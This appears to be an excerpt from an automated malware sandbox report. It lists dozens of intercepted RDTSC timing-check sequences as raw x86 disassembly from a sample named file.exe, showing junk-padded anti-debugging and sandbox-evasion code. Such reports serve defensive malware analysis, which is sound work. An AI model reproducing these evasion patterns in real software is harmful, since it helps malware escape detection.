0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143FF23 second address: 143FF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0EB4735D16h 0x0000000a jno 00007F0EB4735D16h 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143FF3A second address: 143FF59 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0EB486A68Dh 0x00000011 jnc 00007F0EB486A686h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143F7FA second address: 143F7FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14459F0 second address: 14459F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14459F4 second address: 14459FE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14459FE second address: 1445A20 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0EB486A697h 0x00000008 pop esi 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14449D7 second address: 14449DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14449DB second address: 14449DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14449DF second address: 14449EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F0EB4735D16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444E29 second address: 1444E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144454D second address: 144455A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F0EB4735D18h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC77 second address: 144CC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC7D second address: 144CC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC83 second address: 144CC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jno 00007F0EB486A686h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F0EB486A686h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CC9A second address: 144CC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FA8E second address: 140FB1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F0EB486A693h 0x00000010 lea eax, dword ptr [ebp+12491824h] 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F0EB486A688h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 nop 0x00000031 pushad 0x00000032 jmp 00007F0EB486A695h 0x00000037 pushad 0x00000038 jbe 00007F0EB486A686h 0x0000003e jno 00007F0EB486A686h 0x00000044 popad 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 js 00007F0EB486A69Fh 0x0000004e jmp 00007F0EB486A699h 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FB1B second address: 13F6102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 mov ecx, dword ptr [ebp+122D36BCh] 0x0000000d call dword ptr [ebp+122D1C9Ah] 0x00000013 pushad 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FCAE second address: 140FCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0EB486A698h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14100ED second address: 14100F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14100F2 second address: 14100FC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0EB486A68Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14100FC second address: 1410139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F0EB4735D29h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 jmp 00007F0EB4735D1Bh 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edi 0x0000001a pushad 0x0000001b jnp 00007F0EB4735D16h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410139 second address: 1410149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410149 second address: 141014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141014D second address: 1410166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A695h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410263 second address: 14102B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], esi 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F0EB4735D18h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 and edx, 3FBF51A8h 0x00000028 nop 0x00000029 pushad 0x0000002a push edx 0x0000002b jmp 00007F0EB4735D27h 0x00000030 pop edx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14102B0 second address: 14102D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007F0EB486A696h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141050B second address: 141050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141086B second address: 141086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141086F second address: 14108DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0EB4735D27h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F0EB4735D18h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov di, dx 0x0000002b push 0000001Eh 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F0EB4735D18h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov edi, ecx 0x00000049 nop 0x0000004a js 00007F0EB4735D20h 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14108DC second address: 14108F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0EB486A68Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410B91 second address: 1410BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410BA1 second address: 1410BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410BA5 second address: 1410BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410BAB second address: 1410C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push ecx 0x0000000d jmp 00007F0EB486A696h 0x00000012 pop ecx 0x00000013 jmp 00007F0EB486A698h 0x00000018 popad 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D4D4 second address: 144D51E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D27h 0x00000007 jmp 00007F0EB4735D29h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F0EB4735D20h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D680 second address: 144D69E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A698h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D69E second address: 144D6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D6A6 second address: 144D6AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D808 second address: 144D810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D810 second address: 144D814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D814 second address: 144D818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14582A4 second address: 14582AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456B6A second address: 1456B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456B6E second address: 1456B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0EB486A686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456CF7 second address: 1456D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0EB4735D1Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145729C second address: 14572B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0EB486A686h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F0EB486A688h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457416 second address: 145741C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145741C second address: 1457436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0EB486A691h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14575B6 second address: 14575C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14575C7 second address: 14575CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457AA6 second address: 1457AC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edi 0x00000008 jmp 00007F0EB4735D1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457AC4 second address: 1457ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14580F2 second address: 14580F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14580F9 second address: 145810F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0EB486A68Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145810F second address: 145811D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145811D second address: 1458125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1458125 second address: 145815A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0EB4735D16h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F0EB4735D29h 0x00000011 jmp 00007F0EB4735D1Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456815 second address: 145681A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145681A second address: 1456838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D28h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145CF5B second address: 145CF82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F0EB486A686h 0x0000000e jmp 00007F0EB486A699h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F6B2 second address: 145F6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F6B8 second address: 145F6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F6BC second address: 145F6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0EB4735D25h 0x0000000c jmp 00007F0EB4735D1Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F1F5 second address: 145F1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F1FB second address: 145F217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jbe 00007F0EB4735D22h 0x0000000d jg 00007F0EB4735D16h 0x00000013 jng 00007F0EB4735D16h 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F3C2 second address: 145F3D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A693h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14643D9 second address: 14643EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D1Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14643EB second address: 14643F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14643F0 second address: 14643F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463B14 second address: 1463B24 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F0EB486A686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463D8F second address: 1463DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jnp 00007F0EB4735D16h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463EF1 second address: 1463EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463EF7 second address: 1463EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146982C second address: 1469830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469830 second address: 146985D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F0EB4735D1Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0EB4735D20h 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146985D second address: 1469884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0EB486A68Eh 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469884 second address: 1469888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C60 second address: 1469C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C64 second address: 1469C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C68 second address: 1469C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C6E second address: 1469C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F0EB4735D16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469C7D second address: 1469C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146E2BC second address: 146E2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0EB4735D16h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146E2CA second address: 146E2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146E2CF second address: 146E2EF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0EB4735D2Bh 0x00000008 jmp 00007F0EB4735D25h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DA23 second address: 146DA27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DA27 second address: 146DA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DBAA second address: 146DBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DBB0 second address: 146DBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DBB4 second address: 146DBBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DD12 second address: 146DD2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jg 00007F0EB4735D16h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
